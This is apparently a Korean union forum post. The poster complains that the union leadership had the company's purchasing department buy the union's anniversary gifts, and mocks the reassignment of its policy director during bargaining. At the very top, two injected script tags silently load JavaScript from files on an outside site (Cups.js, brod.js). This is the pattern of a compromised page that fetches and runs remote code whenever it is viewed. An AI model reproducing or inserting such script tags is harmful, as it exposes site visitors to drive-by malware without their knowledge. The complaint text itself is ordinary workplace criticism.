<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 회사 구매부서에서 담당합니까?
노동조합의 자본에 대한 독립성,자주성이 심각하게 훼손되고 있는 것 아닙니까?
회사에 부탁해서 투명하게 처리했다고 자랑하는 집행부. 쪽팔리는 줄 아십시오.
무슨놈의 노동조합이 이런 말도 안되는 걸로 도덕성을 내세우려 하는지 답답합니다.
심지어 회사에서 노동조합 창립기념품을 나눠 준다니 현장 대의원들을 뭘로 보는 겁니까?
제대로 하려면 노동조합 말대로 비조합원들은 노동조합에 와서 받아가야 하는 것 아닙니까?
자기 생일도 못 챙기는 노동조합의 현실이 부끄럽기만 합니다.
노동조합이 선물하나 제대로 구매하지 못해서 이런 짓거리를 하고 자빠졌다니 어이가 없습니다.
사족 하나 답니다.
특별단체교섭이 진행되고 있는데 노동조합의 주요한 정책담당자인 정책실장이 현장으로 복귀한다는데 잘하고 계십니다.
위원장이 다 하면 되겠네요.
서울대 출신이니 아는 것도 많고 할 일은 좀 많겠습니까?
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